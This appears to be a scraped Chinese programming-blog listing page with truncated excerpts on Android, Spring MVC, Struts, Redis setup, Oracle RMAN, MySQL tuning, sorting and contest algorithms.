最近在博客园看到一篇比较全面的文件操作文章,转过来留着。
http://www.cnblogs.com/zhuocheng/archive/2011/12/12/2285290.html
转自http://blog.sina.com.cn/s/blog_4a9f789a0100ik3p.html
一.获得控制台用户输入的信息
&nbs
android学习任务
不懂事的小屁孩
工作
任务
完成情况 搞清楚带箭头的pupupwindows和不带的使用 已完成 熟练使用pupupwindows和alertdialog,并搞清楚两者的区别 已完成 熟练使用android的线程handler,并敲示例代码 进行中 了解游戏2048的流程,并完成其代码工作 进行中-差几个actionbar 研究一下android的动画效果,写一个实例 已完成 复习fragem
zoom.js
换个号韩国红果果
oom
它的基于bootstrap 的
https://raw.github.com/twbs/bootstrap/master/js/transition.js transition.js模块引用顺序
<link rel="stylesheet" href="style/zoom.css">
<script src=&q
详解Oracle云操作系统Solaris 11.2
蓝儿唯美
Solaris
当Oracle发布Solaris 11时,它将自己的操作系统称为第一个面向云的操作系统。Oracle在发布Solaris 11.2时继续它以云为中心的基调。但是,这些说法没有告诉我们为什么Solaris是配得上云的。幸好,我们不需要等太久。Solaris11.2有4个重要的技术可以在一个有效的云实现中发挥重要作用:OpenStack、内核域、统一存档(UA)和弹性虚拟交换(EVS)。
spring学习——springmvc(一)
a-john
springMVC
Spring MVC基于模型-视图-控制器(Model-View-Controller,MVC)实现,能够帮助我们构建像Spring框架那样灵活和松耦合的Web应用程序。
1,跟踪Spring MVC的请求
请求的第一站是Spring的DispatcherServlet。与大多数基于Java的Web框架一样,Spring MVC所有的请求都会通过一个前端控制器Servlet。前
hdu4342 History repeat itself-------多校联合五
aijuans
数论
水题就不多说什么了。
#include<iostream>#include<cstdlib>#include<stdio.h>#define ll __int64using namespace std;int main(){ int t; ll n; scanf("%d",&t); while(t--)
EJB和javabean的区别
asia007
bean ejb
EJB不是一般的JavaBean,EJB是企业级JavaBean,EJB一共分为3种,实体Bean,消息Bean,会话Bean,书写EJB是需要遵循一定的规范的,具体规范你可以参考相关的资料.另外,要运行EJB,你需要相应的EJB容器,比如Weblogic,Jboss等,而JavaBean不需要,只需要安装Tomcat就可以了
1.EJB用于服务端应用开发, 而JavaBeans
Struts的action和Result总结
百合不是茶
struts Action配置 Result配置
一:Action的配置详解:
下面是一个Struts中一个空的Struts.xml的配置文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
&quo
如何带好自已的团队
bijian1013
项目管理 团队管理 团队
在网上看到博客"
怎么才能让团队成员好好干活"的评论,觉得写的比较好。 原文如下: 我做团队管理有几年了吧,我和你分享一下我认为带好团队的几点:
1.诚信
对团队内成员,无论是技术研究、交流、问题探讨,要尽可能的保持一种诚信的态度,用心去做好,你的团队会感觉得到。 2.努力提
Java代码混淆工具
sunjing
ProGuard
Open Source Obfuscators
ProGuard
http://java-source.net/open-source/obfuscators/proguardProGuard is a free Java class file shrinker and obfuscator. It can detect and remove unused classes, fields, m
【Redis三】基于Redis sentinel的自动failover主从复制
bit1129
redis
在第二篇中使用2.8.17搭建了主从复制,但是它存在Master单点问题,为了解决这个问题,Redis从2.6开始引入sentinel,用于监控和管理Redis的主从复制环境,进行自动failover,即Master挂了后,sentinel自动从从服务器选出一个Master使主从复制集群仍然可以工作,如果Master醒来再次加入集群,只能以从服务器的形式工作。
什么是Sentine
使用代理实现Hibernate Dao层自动事务
白糖_
DAO spring AOP 框架 Hibernate
都说spring利用AOP实现自动事务处理机制非常好,但在只有hibernate这个框架情况下,我们开启session、管理事务就往往很麻烦。
public void save(Object obj){
Session session = this.getSession();
Transaction tran = session.beginTransaction();
try
maven3实战读书笔记
braveCS
maven3
Maven简介
是什么?
Is a software project management and comprehension tool.项目管理工具
是基于POM概念(工程对象模型)
[设计重复、编码重复、文档重复、构建重复,maven最大化消除了构建的重复]
[与XP:简单、交流与反馈;测试驱动开发、十分钟构建、持续集成、富有信息的工作区]
功能:
编程之美-子数组的最大乘积
bylijinnan
编程之美
public class MaxProduct {
/**
* 编程之美 子数组的最大乘积
* 题目: 给定一个长度为N的整数数组,只允许使用乘法,不能用除法,计算任意N-1个数的组合中乘积中最大的一组,并写出算法的时间复杂度。
* 以下程序对应书上两种方法,求得“乘积中最大的一组”的乘积——都是有溢出的可能的。
* 但按题目的意思,是要求得这个子数组,而不
读书笔记-2
chengxuyuancsdn
读书笔记
1、反射
2、oracle年-月-日 时-分-秒
3、oracle创建有参、无参函数
4、oracle行转列
5、Struts2拦截器
6、Filter过滤器(web.xml)
1、反射
(1)检查类的结构
在java.lang.reflect包里有3个类Field,Method,Constructor分别用于描述类的域、方法和构造器。
2、oracle年月日时分秒
s
[求学与房地产]慎重选择IT培训学校
comsci
it
关于培训学校的教学和教师的问题,我们就不讨论了,我主要关心的是这个问题
培训学校的教学楼和宿舍的环境和稳定性问题
我们大家都知道,房子是一个比较昂贵的东西,特别是那种能够当教室的房子...
&nb
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系
daizj
oracle rman filesperset PARALLELISM
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系 转
PARALLELISM ---
我们还可以通过parallelism参数来指定同时"自动"创建多少个通道:
RMAN > configure device type disk parallelism 3 ;
表示启动三个通道,可以加快备份恢复的速度。
简单排序:冒泡排序
dieslrae
冒泡排序
public void bubbleSort(int[] array){
for(int i=1;i<array.length;i++){
for(int k=0;k<array.length-i;k++){
if(array[k] > array[k+1]){
初二上学期难记单词三
dcj3sjt126com
sciet
concert 音乐会
tonight 今晚
famous 有名的;著名的
song 歌曲
thousand 千
accident 事故;灾难
careless 粗心的,大意的
break 折断;断裂;破碎
heart 心(脏)
happen 偶尔发生,碰巧
tourist 旅游者;观光者
science (自然)科学
marry 结婚
subject 题目;
I.安装Memcahce 1. 安装依赖包libevent Memcache需要安装libevent,所以安装前可能需要执行 Shell代码 收藏代码
dcj3sjt126com
redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
前面3步应该没有问题,主要的问题是执行make的时候,出现了异常。
异常一:
make[2]: cc: Command not found
异常原因:没有安装g
并发容器
shuizhaosi888
并发容器
通过并发容器来改善同步容器的性能,同步容器将所有对容器状态的访问都串行化,来实现线程安全,这种方式严重降低并发性,当多个线程访问时,吞吐量严重降低。
并发容器ConcurrentHashMap
替代同步基于散列的Map,通过Lock控制。
&nb
Spring Security(12)——Remember-Me功能
234390216
Spring Security Remember Me 记住我
Remember-Me功能
目录
1.1 概述
1.2 基于简单加密token的方法
1.3 基于持久化token的方法
1.4 Remember-Me相关接口和实现
位运算
焦志广
位运算
一、位运算符C语言提供了六种位运算符:
& 按位与
| 按位或
^ 按位异或
~ 取反
<< 左移
>> 右移
1. 按位与运算 按位与运算符"&"是双目运算符。其功能是参与运算的两数各对应的二进位相与。只有对应的两个二进位均为1时,结果位才为1 ,否则为0。参与运算的数以补码方式出现。
例如:9&am
nodejs 数据库连接 mongodb mysql
liguangsong
mongodb mysql node 数据库连接
1.mysql 连接
package.json中dependencies加入
"mysql":"~2.7.0"
执行 npm install
在config 下创建文件 database.js
java动态编译
olive6615
java HotSpot jvm 动态编译
在HotSpot虚拟机中,有两个技术是至关重要的,即动态编译(Dynamic compilation)和Profiling。
HotSpot是如何动态编译Javad的bytecode呢?Java bytecode是以解释方式被load到虚拟机的。HotSpot里有一个运行监视器,即Profile Monitor,专门监视
Storm0.9.5的集群部署配置优化
roadrunners
优化 storm.yaml
nimbus结点配置(storm.yaml)信息:
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional inf
101个MySQL 的调节和优化的提示
tomcat_oracle
mysql
1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中——在内存中访问文件时的速度要比在硬盘中访问时快的多。 2. 不惜一切代价避免使用Swap交换分区 – 交换时是从硬盘读取的,它的速度很慢。 3. 使用电池供电的RAM(注:RAM即随机存储器)。 4. 使用高级的RAID(注:Redundant Arrays of Inexpensive Disks,即磁盘阵列
zoj 3829 Known Notation(贪心)
阿尔萨斯
ZOJ
题目链接:zoj 3829 Known Notation
题目大意:给定一个不完整的后缀表达式,要求有2种不同操作,用尽量少的操作使得表达式完整。
解题思路:贪心,数字的个数要要保证比∗的个数多1,不够的话优先补在开头是最优的。然后遍历一遍字符串,碰到数字+1,碰到∗-1,保证数字的个数大于等1,如果不够减的话,可以和最后面的一个数字交换位置(用栈维护十分方便),因为添加和交换代价都是1